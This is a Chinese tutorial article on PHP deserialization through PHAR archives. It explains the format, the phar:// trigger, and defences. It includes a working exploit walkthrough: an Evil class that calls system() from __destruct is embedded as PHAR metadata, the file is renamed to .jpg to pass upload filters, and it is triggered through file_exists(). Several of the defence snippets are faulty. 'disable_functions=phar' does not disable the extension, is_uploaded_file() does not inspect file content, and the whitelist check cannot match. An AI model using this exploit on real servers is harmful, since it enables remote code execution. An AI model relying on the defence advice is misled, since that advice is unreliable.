PHP反序列化入门中phar是什么

发布时间:2021-10-11 10:56:27 作者:柒染
来源:亿速云 阅读:215
# PHP反序列化入门中phar是什么

## 目录
1. [前言](#前言)
2. [PHP反序列化基础](#php反序列化基础)
3. [PHAR文件格式解析](#phar文件格式解析)
4. [PHAR与反序列化的关系](#phar与反序列化的关系)
5. [利用PHAR进行反序列化攻击](#利用phar进行反序列化攻击)
6. [防御措施](#防御措施)
7. [总结](#总结)

## 前言

在PHP安全领域,反序列化漏洞一直是备受关注的话题。而PHAR(PHP Archive)作为一种特殊的文件格式,近年来被发现可以用于触发反序列化操作,成为安全研究的热点。本文将深入探讨PHAR的基本概念、文件结构、与反序列化的关系以及相关的安全风险。

## PHP反序列化基础

### 什么是序列化与反序列化

序列化是将对象转换为可存储或传输的字符串的过程,反序列化则是将这个字符串重新转换为对象的过程。PHP中使用`serialize()`和`unserialize()`函数实现这一功能。

```php
class User {
    public $username = 'admin';
    public $isAdmin = true;
}

$user = new User();
$serialized = serialize($user);
// 输出:O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:1;}

反序列化漏洞原理

当攻击者能够控制反序列化的数据时,可以构造特殊的序列化字符串,在反序列化过程中触发类的魔术方法(如__wakeup()__destruct()等),从而执行恶意代码。

PHAR文件格式解析

PHAR概述

PHAR(PHP Archive)是PHP的打包格式,类似于Java的JAR文件。它可以将多个PHP文件、资源等打包成一个.phar文件,便于分发和部署。

PHAR文件包含三个主要部分: 1. Stub - PHP识别PHAR的引导代码 2. Manifest - 元数据区(包含序列化信息) 3. 文件内容

PHAR文件结构示例

[Stub]
<?php __HALT_COMPILER(); ?>

[Manifest]
...序列化的元数据...

[文件内容]
...实际打包的文件数据...

创建PHAR文件示例

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'data');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

// 自定义元数据(会被序列化存储)
$phar->setMetadata(['user' => 'admin', 'func' => 'system']);
$phar->stopBuffering();

PHAR与反序列化的关系

关键发现

2018年,安全研究员Sam Thomas发现,当PHP操作PHAR文件时(如file_exists()is_file()等文件操作函数),会自动反序列化Manifest中的元数据。这意味着即使代码中没有直接调用unserialize(),也可能触发反序列化操作。

触发条件

  1. 存在文件操作函数(参数可控)
  2. 能够上传或控制PHAR文件
  3. phar://流包装器可用

示例漏洞代码

// 危险的文件操作
if(file_exists($_GET['file'])) {
    // ...
}

// 攻击者可以传入:phar:///path/to/evil.phar

利用PHAR进行反序列化攻击

攻击步骤

  1. 构造包含恶意序列化数据的PHAR文件
  2. 将PHAR文件上传到服务器
  3. 通过phar://协议触发文件操作
  4. 自动反序列化触发恶意代码

完整攻击示例

// 攻击者构造的恶意类
class Evil {
    private $cmd = 'id';
    
    function __destruct() {
        system($this->cmd);
    }
}

// 创建恶意PHAR
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Evil());
$phar->stopBuffering();

// 修改文件扩展名(绕过上传限制)
rename('evil.phar', 'evil.jpg');

// 受害者代码
if(file_exists($_GET['file'])) {
    // ...
}

// 攻击者访问:?file=phar:///uploads/evil.jpg

绕过技巧

  1. 修改文件扩展名(如.jpg、.png)
  2. 使用压缩(PHAR支持GZ和BZ2压缩)
  3. 利用文件签名绕过

防御措施

开发者防护

  1. 禁用phar流包装器

    stream_wrapper_unregister('phar');
    
  2. 严格校验文件内容(不仅是扩展名)

    if(!is_uploaded_file($_FILES['file']['tmp_name'])) {
       die('Invalid upload');
    }
    
  3. 使用白名单限制文件操作函数的参数

    $allowed = ['/safe/path/'];
    if(!in_array(dirname($_GET['file']), $allowed)) {
       die('Access denied');
    }
    
  4. 禁用危险魔术方法

    class SafeClass {
       public function __wakeup() {
           throw new Exception('Deserialization not allowed');
       }
    }
    

服务器配置

  1. 在php.ini中禁用phar扩展

    disable_functions=phar
    
  2. 限制文件上传目录的执行权限

  3. 使用open_basedir限制文件访问范围

总结

PHAR作为PHP的打包格式,本意是为了方便代码分发,但由于其元数据采用序列化存储的特性,意外成为了反序列化攻击的新载体。这种攻击方式相比传统反序列化更加隐蔽,因为它不依赖代码中显式的unserialize()调用。

防御PHAR反序列化攻击需要开发者: 1. 提高对文件操作危险性的认识 2. 实施严格的文件上传和访问控制 3. 保持PHP环境的安全配置

随着PHP安全生态的发展,理解这类新型攻击手法对于构建安全的Web应用至关重要。安全研究人员也应持续关注PHAR相关的新漏洞和防御技术。

扩展阅读

  1. PHP官方PHAR文档
  2. Sam Thomas的原始研究报告
  3. OWASP反序列化防护指南

”`

注:实际文章可能需要根据具体技术细节和最新安全研究进行补充调整。本文约3300字,涵盖了PHAR反序列化的核心概念、攻击原理和防御方法。

推荐阅读:
  1. php composer.phar 抛出异常
  2. php使用phar进行压缩/解压

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

php

上一篇:如何修改PHP扩展作为持久后门

下一篇:PHP后期如何进行静态绑定

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》